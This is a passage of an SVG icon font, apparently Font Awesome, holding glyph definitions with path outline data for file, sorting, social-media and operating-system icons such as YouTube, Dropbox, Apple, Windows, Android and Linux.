    <glyph glyph-name="file" unicode="&#xf15b;" 
d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
    <glyph glyph-name="file_text" unicode="&#xf15c;" 
d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
l230 -662h70z" />
    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
v119h121z" />
    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" 
d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
q25 45 64 45h241q22 0 31 -15z" />
    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
    <glyph glyph-name="adn" unicode="&#xf170;" 
d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
q78 2 134 29z" />
    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
